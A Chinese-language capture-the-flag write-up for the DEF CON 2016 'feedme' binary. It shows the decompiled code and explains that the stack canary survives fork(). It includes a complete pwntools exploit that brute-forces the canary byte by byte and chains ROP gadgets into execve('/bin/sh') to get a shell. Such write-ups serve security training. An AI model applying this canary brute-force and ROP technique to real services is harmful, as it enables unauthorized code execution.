题目
基本信息
一个32位的二进制文件,静态链接
checksec:
[*] '/home/vagrant/ctf/practice/defcon-2016/pwn/feedme/feedme'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这里有一点小问题,估计是因为静态链接带来的问题,其实canary是开了的。
分析
首先使用flirt,利用别人已经整理好的sig 文件,导入到ida当中,可以分析出一些函数签名,之后进行分析后的函数大致如下:
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
__bsd_signal(14, signal_handler);
alarm(0x96u);
_IO_setvbuf(off_80EA4C0, 0, 2, 0);
_IO_new_fclose(off_80EA4BC);
real_main();
return 0;
}
real_main
void real_main()
{
unsigned __int8 v0; // al@3
int v1; // [sp+10h] [bp-18h]@1
unsigned int i; // [sp+14h] [bp-14h]@1
const struct timespec *forked_pid; // [sp+18h] [bp-10h]@2
int v4; // [sp+1Ch] [bp-Ch]@4
v1 = 0;
for ( i = 0; i <= 0x31F; ++i )
{
forked_pid = fork();
if ( !forked_pid )
{
v0 = proc_main();
printf("YUM, got %d bytes!\n", v0);
return;
}
v4 = __waitpid(forked_pid, &v1, 0);
if ( v4 == -1 )
{
_IO_puts("Wait error!");
exit(-1);
}
if ( v1 == -1 )
{
_IO_puts("Child IO error!");
exit(-1);
}
_IO_puts("Child exit.");
_IO_fflush(0);
}
}
proc_main
int sub_8049036()
{
unsigned __int8 v0; // ST1B_1@1
char *global_ptr; // eax@1
int v2; // ecx@1
int result; // eax@1
char v4; // [sp+1Ch] [bp-2Ch]@1
int v5; // [sp+3Ch] [bp-Ch]@1
v5 = *MK_FP(__GS__, 20);
_IO_puts("FEED ME!");
v0 = read_a_byte();
read_to((int)&v4, v0);
global_ptr = save_to_global((int)&v4, v0, 0x10u);
printf("ATE %s\n", global_ptr);
result = v0;
if ( *MK_FP(__GS__, 20) != v5 )
__chk_fail_0(v2, *MK_FP(__GS__, 20) ^ v5);
return result;
}
read_to和read_byte比较显然,就不写出来了,可以很轻松的看出来。
分析
其实总体来说是道水题,最麻烦的地方感觉还是由于静态链接,需要使用flirt去识别一些库函数,然后自己还需要识别一些函数,比如fork就是自己识别的。
逻辑很简单,就是fork之后输入值,还会把输入的值拷到一个全局变量的位置,虽然不知道有什么意义。。。
然后开启了canary,如果栈溢出了,会得到stack smash detected,否则会YUM,然后退出线程。
利用的知识点也很简单,fork之后的canary是不会发生变化的,所以直接爆破canary,然后rop就可以了。
rop我的方法是再通过调用一次read_to去输入/bin/sh
,然后设置好各个参数直接execve就行了。
exp.py
from pwn import *
context(os='linux', arch='i386', log_level='debug')
DEBUG = 1
GDB = 1
if DEBUG:
p = process("./feedme")
def get_canary_test_loop(prefix_str, current_char):
current_len = len(prefix_str) + 1
p.recvuntil('FEED ME!')
p.send(chr(current_len))
p.send(prefix_str + current_char)
p.recvuntil('ATE')
p.recvline()
get_str = p.recv()
if 'smash' in get_str or '***' in get_str:
return False
elif 'YUM' in get_str:
return True
else:
raise Exception("what the fuck do I get? {}".format(get_str))
def get_canary_single_byte(prefix_str):
for i in range(0, 0xff):
if get_canary_test_loop(prefix_str, chr(i)):
return chr(i)
def get_canary(prefix):
with_canary = prefix
one = get_canary_single_byte(with_canary)
log.success("we got one! {}".format(hex(ord(one))))
with_canary += one
two = get_canary_single_byte(with_canary)
log.success("we got two! {}".format(hex(ord(two))))
with_canary += two
three = get_canary_single_byte(with_canary)
log.success("we got three! {}".format(hex(ord(three))))
with_canary += three
four = get_canary_single_byte(with_canary)
log.success("we got four! {}".format(hex(ord(four))))
with_canary += four
log.success("we got whole canary! {}".format(hex(u32(one + two + three + four))))
return with_canary
def exp(prefix):
"""
0x08049c53 : xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret ; set ecx = 0
0x0807fc11 : and al, 0xe8 ; cdq ; ret ; set edx=0
0x08049761: int 0x80
0x080bb495 : inc eax ; pop eax ; ret
0x080481c9 : pop ebx ; ret
"""
fake_ebp = 0xdeadbeef
read_to_addr = 0x08048e7e
payload = prefix
payload += 'b' * 8
payload += p32(fake_ebp)
payload += p32(read_to_addr)
payload += p32(0x08049c53)
payload += p32(0x080e9000) # ebx, arg1 of read_to
payload += p32(0x8) # esi, arg2 of read_to(len)
payload += p32(0xdeadbeef) # edi
payload += p32(0xdeadbeef) # ebp
payload += p32(0x0807fc11) # set edx = 0
payload += p32(0x080bb495) # set eax
payload += p32(0x0b) # SYS_EXECVE eax
payload += p32(0x08049761) # int 0x80
payload = payload.ljust(0x40, '1')
p.recvuntil('FEED ME!')
p.send(chr(len(payload)))
p.send(payload)
def main():
if GDB:
raw_input()
prefix = 'a' * 0x20
with_canary_prefix = get_canary(prefix)
exp(with_canary_prefix)
p.send('/bin/sh\x00')
p.interactive()
if __name__ == "__main__":
main()
有点神奇的是我发现我在调用read_to的时候的参数刚好和rop gadget里的几个pop要用到寄存器重合了,不过那几个寄存器不影响后面的执行,所以我就直接把他当参数用了。